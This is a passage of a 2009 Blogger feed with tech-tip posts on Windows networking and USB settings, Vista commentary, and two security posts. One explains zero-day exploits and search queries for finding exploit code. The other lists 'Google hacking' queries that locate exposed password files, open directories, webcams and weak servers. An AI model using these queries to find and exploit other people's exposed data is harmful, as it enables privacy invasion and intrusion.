initial settings, type:&lt;br /&gt;&lt;br /&gt;netsh interface tcp show global&lt;br /&gt;&lt;br /&gt;Next, from an elevated command prompt type:&lt;br /&gt;&lt;br /&gt;netsh interface tcp set global autotuning=disabled&lt;br /&gt;netsh interface tcp set global chimney=disabled&lt;br /&gt;netsh interface tcp set global rss=disabled&lt;br /&gt;&lt;br /&gt;If you ever want to re-enable the original settings, from an elevated command prompt type:&lt;br /&gt;&lt;br /&gt;netsh interface tcp set global autotuning=normal&lt;br /&gt;netsh interface tcp set global chimney=enabled&lt;br /&gt;netsh interface tcp set global rss=enabled&lt;br /&gt;&lt;br /&gt;Note that for some strange reason autotuning=normal, while the other two settings=enabled&lt;br /&gt;&lt;br /&gt;Via : http://thebackroomtech.com/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-837466121050516341?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/QhFYkkRfh9Q" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/OmwswsxKY0M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/837466121050516341/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/find-your-bandwidth-in-vista-really.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/837466121050516341?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/837466121050516341?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/OmwswsxKY0M/find-your-bandwidth-in-vista-really.html" title="Find your bandwidth in Vista really slow? Here is a simple hack for you." /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/find-your-bandwidth-in-vista-really.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/QhFYkkRfh9Q/find-your-bandwidth-in-vista-really.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0AGQHc_cSp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-5467352726787275614</id><published>2009-03-07T09:59:00.000-08:00</published><updated>2009-03-20T05:22:01.949-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:22:01.949-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><title>Fix Slow USB 2.0 file transfer on Windows XP</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;USB storage devices can be optimized for either quick removal or performance.&lt;br /&gt;&lt;br /&gt;To optimize your USB drive for performance:&lt;br /&gt;&lt;br /&gt;1. Right click on the USB drive and select properties&lt;br /&gt;2. Select the Hardware tab&lt;br /&gt;3. Under All Disk Drives, highlight your USB drive and select Properties&lt;br /&gt;4. Select the Policies tab and select Optimize for performance.&lt;br /&gt;5. Press OK twice, and your transfer speeds should increase dramatically&lt;br /&gt;&lt;br /&gt;Note that when your drive is optimized for performance you’ll need to use the Safely Remove Hardware icon in the taskbar to eject the drive - otherwise you’ll risk corrupting your data by just removing the drive from the port.&lt;br /&gt;&lt;br /&gt;Source: &lt;span class="submitted"&gt;&lt;a href="http://thebackroomtech.com/"&gt;Julie &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-5467352726787275614?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/Hnx_r-WqC5g" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/S1QAOEx8c68" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/5467352726787275614/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/fix-slow-usb-20-file-transfer-on.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5467352726787275614?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5467352726787275614?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/S1QAOEx8c68/fix-slow-usb-20-file-transfer-on.html" title="Fix Slow USB 2.0 file transfer on Windows XP" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/fix-slow-usb-20-file-transfer-on.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/Hnx_r-WqC5g/fix-slow-usb-20-file-transfer-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0ABQHYzeCp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-4760315262985295129</id><published>2009-03-05T05:26:00.000-08:00</published><updated>2009-03-20T05:22:31.880-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:22:31.880-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><title>0day</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;A zero-day (or zero-hour) attack or threat is a computer threat that tries to exploit unknown, undisclosed or patchfree computer application vulnerabilities. The term Zero Day is also used to describe unknown or Zero day viruses.&lt;br /&gt;&lt;br /&gt;Zero-day exploits are released before the vendor patch is released to the public. Zero-day exploits generally circulate through the ranks of attackers until finally being released on public forums. The term derives from the age of the exploit. A zero-day exploit is usually unknown to the public and to the product vendor .&lt;br /&gt;&lt;br /&gt;The term zero-day can also be used to describe warez-group releases of pirated software on or before the release of the software.&lt;br /&gt;&lt;br /&gt;Exploit code, collectively called exploits, is a tool of the hacker trade. Designed to penetrate a target, most hackers have many different exploits at their disposal. Some exploits, termed zero day or 0day, remain underground for some period of time, eventually becoming public, posted to newsgroups or Web sites for the world to share.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Locating Exploit Code&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Black_hat"&gt;Black hats&lt;/a&gt; generally provide exploits to aid fellow black hats in the hacking community.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/White_hat"&gt;White hats&lt;/a&gt; provide exploits as a way of eliminating false positives from automated tools during an assessment.&lt;br /&gt;&lt;br /&gt;Simple searches such as remote exploit and vulnerable exploit locate exploit sites by focusing on common lingo used by the security community.&lt;br /&gt;Other searches, such as inurl:0day, don’t work nearly as well as they used to, but old standbys like inurl:sploits still work fairly well.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Locating Public Exploit Sites&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One way to locate exploit code is to focus on the file extension of the source&lt;br /&gt;code and then search for specific content within that code. Since source code is&lt;br /&gt;the text-based representation of the difficult-to-read machine code, Google is&lt;br /&gt;well suited for this task. For example, a large number of exploits are written in C, which generally uses source code ending in a .c extension. Of course, a search for filetype:c c returns nearly 500,000 results, meaning that we need to narrow our search. A query for filetype:c exploit returns around 5,000 results, most of which are exactly the types of programs we’re looking for.&lt;br /&gt;&lt;br /&gt;Source:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Zero-Day_Attack"&gt;Wiki&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://johnny.ihackstuff.com/"&gt;I'm  Johnny. I hack stuff.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-4760315262985295129?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/llXr5zWvNN4" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/5GqJ9jJ-_nU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/4760315262985295129/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/0day.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/4760315262985295129?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/4760315262985295129?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/5GqJ9jJ-_nU/0day.html" title="0day" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/0day.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/llXr5zWvNN4/0day.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C08FR30ycCp7ImA9WxVUFUg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7111174012484144008</id><published>2009-03-05T02:21:00.000-08:00</published><updated>2009-03-20T05:23:36.398-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T05:23:36.398-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><title>Google Hacking</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Yes, I am a criminal. My crime is that of curiosity.&lt;br /&gt;- Mentor, The Hacker Manifesto&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There’s a sport called “Google Hacking” which is all about searching for seemingly private websites using Google. In fact, you can only find public websites using Google, because private (password-protected) pages can’t be found by Google – so it’s no real hacking (let alone “cracking,” which would consist of deleting, changing or abusing the found data).&lt;br /&gt;&lt;br /&gt;But it’s fun nevertheless, and often enables people to discover pages someone was hoping for to stay private. This happens when the site is misconfigured, i.e. when the webmaster doesn’t know enough about how to set up a website.&lt;br /&gt;&lt;br /&gt;Here are some of the most popular and powerful “Google hack” search queries.&lt;br /&gt;Enter them at your own risk, and know that every once in a while you step onto a so-called honeypot (a fake website set up to lure hackers into it, with the goal of finding out more about them and their tactics).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding Error Messages&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for: &lt;span style="font-style: italic;"&gt;“A syntax error has occurred” filetype:ihtml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You’ll find: Pages which caused errors the last time Google checked them. This may hint at vulnerabilities or other unwanted side-effects.&lt;br /&gt;&lt;br /&gt;How this works: The first phrase simply looks for an error the target server itself did once output. The “filetype” operator on the other hand restricts the result pages to only those which have the “ihtml” extension (which are sites using Informix).&lt;br /&gt;A related search is &lt;span style="font-style: italic;"&gt;“Warning: mysql_query()”&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding Seemingly Private Files&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for: &lt;span style="font-style: italic;"&gt;(password | passcode) (username | userid | user) filetype:csv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You’ll find: Files containing user names and similar.&lt;br /&gt;&lt;br /&gt;How this works: The “filetype” operator makes sure only “Comma Separated Values” files will be returned. Those are not typical web pages, but data files. “(password | passcode)” tells Google the file must contain either the text “password” or “passcode,” or both (the “|” character means “or”). Also, result pages are restricted to those containing either of the words “username,” “userid” or “user.”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding File Listings &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for: &lt;span style="font-style: italic;"&gt;intitle:index-of last-modified private&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You’ll find: Pages which list files found on the server.&lt;br /&gt;&lt;br /&gt;How this works: The “intitle” operator used above will ensure that the target page contains the words “Index of” in the title. This is typical for those open directories which list files (they will have a title like “Index of /private/foo/bar”). “Last modified” on the other hand is a column header often used on those pages. And the word “private” makes sure we’ll find something of interest.&lt;br /&gt;A related search query which finds FTP (File Transfer Protocol) information is &lt;span style="font-style: italic;"&gt;intitle:index.of ws_ftp.ini &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding Webcams&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for: &lt;span style="font-style: italic;"&gt;“powered by webcamXP” “Pro|Broadcast”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You’ll find: Public webcams set up by people to film a location, or themselves.&lt;br /&gt;&lt;br /&gt;How this works: “Powered by WebcamXP” is a text found on specific kinds of webcam pages. A related search query to find cameras is inurl:“ViewerFrame?Mode=”.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding Weak Servers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for:&lt;span style="font-style: italic;"&gt; intitle:“the page cannot be found” inetmgr&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;You’ll find: Potentially weak (IIS4) servers.&lt;br /&gt;&lt;br /&gt;How this works: An old Microsoft Internet Information server may hint at security issues. This is one of many approaches that can be used to find such a weak server.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Finding Chat Logs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Search for: &lt;span style="font-style: italic;"&gt;something “has quit” “has joined” filetype:txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You’ll find: Chat log files showing what people talked about in a chat room.&lt;br /&gt;&lt;br /&gt;How this works: Though the files found are all public, not everyone chatting on IRC (the Internet Relay Chat) is aware of potential logging mechanisms.&lt;br /&gt;The “filetype” operator makes sure only text files are found, and “has quit”/ “has joined” are automated messages appearing in chat rooms. This search is your chance to tune into people’s chatter.Note you should replace “something” with the thing you are looking for.&lt;br /&gt;&lt;br /&gt;Source:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;55 Ways to Have Fun With Google&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7111174012484144008?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/oC4UDa5USsQ" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/WTmcUOkfTGM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7111174012484144008/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/google-hacking.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7111174012484144008?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7111174012484144008?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/WTmcUOkfTGM/google-hacking.html" title="Google Hacking" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/google-hacking.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/oC4UDa5USsQ/google-hacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQDSH4zeip7ImA9WxVVEkw.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-1134736576689581857</id><published>2009-03-04T16:23:00.001-08:00</published><updated>2009-03-04T17:59:39.082-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-04T17:59:39.082-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><title>"This site may harm your computer" on every search result?!?!</title><content type="html">On 31st  Jan 2008,  any search result on google showed the message “This site may harm your computer” for all websites including Google.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa8bq8ZA9CI/AAAAAAAAAoE/Ng_ZFWTO-kc/s1600-h/google-harm.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 246px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa8bq8ZA9CI/AAAAAAAAAoE/Ng_ZFWTO-kc/s400/google-harm.jpg" alt="" id="BLOGGER_PHOTO_ID_5309492910272607266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What happened? Very simply, human error.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;span style="color: rgb(11, 83, 148);"&gt;&lt;span style="border-collapse: collapse;"&gt;&lt;span style="color: rgb(11, 83, 148);"&gt;&lt;span style="color: rgb(11, 83, 148);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;&lt;span style="font-weight: bold;"&gt;Unfortunately&lt;/span&gt; (and here's the human error), the URL of '/' was mistakenly checked in as a value to the file and '/' expands to all URLs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fortunately&lt;/span&gt;, our on-call site reliability team found the problem quickly and reverted the file. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:white;"&gt;&lt;span style="color: rgb(11, 83, 148);"&gt;&lt;span style="border-collapse: collapse;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(11, 83, 148);"&gt;&lt;span style="color:black;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-style: normal;"&gt;&lt;br /&gt;&lt;a href="http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html"&gt;(Marissa Mayer, VP, Search Products &amp;amp; User Experience&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html"&gt;&lt;/a&gt;&lt;a&gt;)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Do You Think Is The Human Error Or h4x0r 3rr0r Or Other?&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-1134736576689581857?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/_zEj0ic0_C8" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/xtN8SsRIwLM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/1134736576689581857/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/this-site-may-harm-your-computer-on.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1134736576689581857?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/1134736576689581857?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/xtN8SsRIwLM/this-site-may-harm-your-computer-on.html" title="&quot;This site may harm your computer&quot; on every search result?!?!" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa8bq8ZA9CI/AAAAAAAAAoE/Ng_ZFWTO-kc/s72-c/google-harm.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/this-site-may-harm-your-computer-on.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/_zEj0ic0_C8/this-site-may-harm-your-computer-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFRXk7eyp7ImA9WxVUEUQ.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-6880813361358045041</id><published>2009-03-04T11:17:00.000-08:00</published><updated>2009-03-16T01:18:34.703-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-16T01:18:34.703-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Vista" /><title>Do You Trust Microsoft?</title><content type="html">In return for some software of your choice:&lt;br /&gt;&lt;br /&gt;Microsoft Windows Vista Ultimate (32-bit and 64-bit DVD)&lt;br /&gt;Microsoft Office Ultimate 2007&lt;br /&gt;Microsoft Money Plus Premium&lt;br /&gt;Microsoft Student with Encarta Premium 2008&lt;br /&gt;Microsoft Streets and Trips 2008&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa7fLDLAxzI/AAAAAAAAAn8/vDW_2Rf8Eyg/s1600-h/vistaf.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 127px; height: 109px;" src="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa7fLDLAxzI/AAAAAAAAAn8/vDW_2Rf8Eyg/s400/vistaf.jpeg" alt="" id="BLOGGER_PHOTO_ID_5309426391639443250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You allow Microsoft to watch your every move for 3 months.&lt;br /&gt;&lt;br /&gt;&lt;div id="result_box" dir="ltr"&gt;Are you incredibly trusting of big corporations?&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-6880813361358045041?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/dgHZ7rxjlVk" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/GlgDLbvzo4U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/6880813361358045041/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/do-you-trust-microsoft.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/6880813361358045041?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/6880813361358045041?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/GlgDLbvzo4U/do-you-trust-microsoft.html" title="Do You Trust Microsoft?" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sa7fLDLAxzI/AAAAAAAAAn8/vDW_2Rf8Eyg/s72-c/vistaf.jpeg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/do-you-trust-microsoft.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/dgHZ7rxjlVk/do-you-trust-microsoft.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0AFSXg8cSp7ImA9WxVUEUQ.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-5744599788634223240</id><published>2009-03-03T12:54:00.000-08:00</published><updated>2009-03-16T01:21:58.679-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-16T01:21:58.679-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Vista" /><title>Vista vs Mac OS Ten</title><content type="html">Is Windows Vista Just an OS X Remake?&lt;br /&gt;&lt;br /&gt;Many people have suggested that Microsoft simply appropriated ideas found in Mac OS X and Ubuntu for use in Windows Vista. After all, all three have desktop search capabilities, photo galleries as part of their file browsers, personal information managers that manage email, contacts, notes, and schedule. But &lt;a href="http://en.wikipedia.org/wiki/David_Pogue"&gt;David Pogue&lt;/a&gt; calls this "sour grapes" among Mac users (and presumably the same for Ubuntu users).&lt;br /&gt;&lt;br /&gt;You decide. Is Vista just Ubuntu-OS X redivivus?&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/TaIUkwPybtM&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/TaIUkwPybtM&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Via easy-ubuntu-linux.com&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-5744599788634223240?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/Nol-vas5JOM" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/VxeR7LwWEqc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/5744599788634223240/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/vista-vs-mac-ox-ten.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5744599788634223240?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/5744599788634223240?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/VxeR7LwWEqc/vista-vs-mac-ox-ten.html" title="Vista vs Mac OS Ten" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/vista-vs-mac-ox-ten.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/Nol-vas5JOM/vista-vs-mac-ox-ten.html</feedburner:origLink></entry></feed>
